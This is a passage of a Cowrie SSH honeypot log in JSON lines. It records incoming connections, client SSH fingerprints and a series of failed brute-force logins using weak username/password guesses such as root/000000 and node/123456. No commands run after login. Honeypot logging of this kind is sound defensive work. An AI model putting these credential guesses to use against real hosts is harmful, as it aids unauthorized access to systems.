0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:32.141723Z","src_ip":"91.92.42.227","session":"623107b659fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:32.950581Z","src_ip":"91.92.42.227","session":"6de6d9535c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":54996,"dst_ip":"159.203.135.109","dst_port":22,"session":"9839472744ab","protocol":"ssh","message":"New connection: 103.252.123.105:54996 (159.203.135.109:22) [session: 9839472744ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:35.768777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:35.772577Z","src_ip":"103.252.123.105","session":"9839472744ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:36.002000Z","src_ip":"103.252.123.105","session":"9839472744ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"watch","password":"watch","message":"login attempt [watch/watch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:36.956350Z","src_ip":"103.252.123.105","session":"9839472744ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40294,"dst_ip":"159.203.135.109","dst_port":22,"session":"668de5fc291e","protocol":"ssh","message":"New connection: 168.167.228.74:40294 (159.203.135.109:22) [session: 668de5fc291e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:37.212420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:37.216392Z","src_ip":"168.167.228.74","session":"668de5fc291e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49614,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0b1243a0bb7","protocol":"ssh","message":"New connection: 91.92.42.227:49614 (10.17.0.5:22) [session: e0b1243a0bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:37.288910Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:37.467700Z","src_ip":"168.167.228.74","session":"668de5fc291e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:38.189105Z","src_ip":"103.252.123.105","session":"9839472744ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rgkim","password":"rgkim","message":"login attempt [rgkim/rgkim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:38.485459Z","src_ip":"168.167.228.74","session":"668de5fc291e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karel","password":"karel","message":"login attempt [karel/karel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:38.591853Z","src_ip":"91.92.42.227","session":"623107b659fb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:39.398529Z","src_ip":"91.92.42.227","session":"e0b1243a0bb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:39.401981Z","src_ip":"91.92.42.227","session":"e0b1243a0bb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:39.732397Z","src_ip":"168.167.228.74","session":"668de5fc291e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:41.254976Z","src_ip":"91.92.42.227","session":"623107b659fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49668,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce35b36a22c8","protocol":"ssh","message":"New connection: 91.92.42.227:49668 (10.17.0.5:22) [session: ce35b36a22c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:43.961715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:45.563435Z","src_ip":"91.92.42.227","session":"ce35b36a22c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:45.566343Z","src_ip":"91.92.42.227","session":"ce35b36a22c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:46.973978Z","src_ip":"91.92.42.227","session":"e0b1243a0bb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:49.850980Z","src_ip":"91.92.42.227","session":"e0b1243a0bb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49438,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e967427497d","protocol":"ssh","message":"New connection: 91.92.42.227:49438 (10.17.0.5:22) [session: 0e967427497d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:51.920302Z"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:53.181563Z","src_ip":"91.92.42.227","session":"ce35b36a22c8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:53.361953Z","src_ip":"91.92.42.227","session":"0e967427497d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:53.364837Z","src_ip":"91.92.42.227","session":"0e967427497d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:55.376852Z","src_ip":"91.92.42.227","session":"ce35b36a22c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":42470,"dst_ip":"159.203.135.109","dst_port":22,"session":"314fe991d99b","protocol":"ssh","message":"New connection: 27.71.230.31:42470 (159.203.135.109:22) [session: 314fe991d99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:58.915016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:58.952338Z","src_ip":"27.71.230.31","session":"314fe991d99b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:59.327473Z","src_ip":"91.92.42.227","session":"0e967427497d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:59.362744Z","src_ip":"27.71.230.31","session":"314fe991d99b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36216,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aa81c28d5c1","protocol":"ssh","message":"New connection: 91.92.42.227:36216 (10.17.0.5:22) [session: 5aa81c28d5c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:37:59.417902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:00.641871Z","src_ip":"91.92.42.227","session":"5aa81c28d5c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:00.645079Z","src_ip":"91.92.42.227","session":"5aa81c28d5c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123","message":"login attempt [root/Abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:01.547223Z","src_ip":"27.71.230.31","session":"314fe991d99b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:01.631291Z","src_ip":"91.92.42.227","session":"0e967427497d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:03.926028Z","src_ip":"27.71.230.31","session":"314fe991d99b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51448,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cc2cbd78be4","protocol":"ssh","message":"New connection: 91.92.42.227:51448 (10.17.0.5:22) [session: 9cc2cbd78be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:05.998883Z"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:07.221623Z","src_ip":"91.92.42.227","session":"5aa81c28d5c1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:07.530560Z","src_ip":"91.92.42.227","session":"9cc2cbd78be4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:07.533840Z","src_ip":"91.92.42.227","session":"9cc2cbd78be4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:09.976743Z","src_ip":"91.92.42.227","session":"5aa81c28d5c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51500,"dst_ip":"10.17.0.5","dst_port":22,"session":"9637ad0b212d","protocol":"ssh","message":"New connection: 91.92.42.227:51500 (10.17.0.5:22) [session: 9637ad0b212d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:12.854550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:14.746648Z","src_ip":"91.92.42.227","session":"9637ad0b212d","protocol":"ssh"}
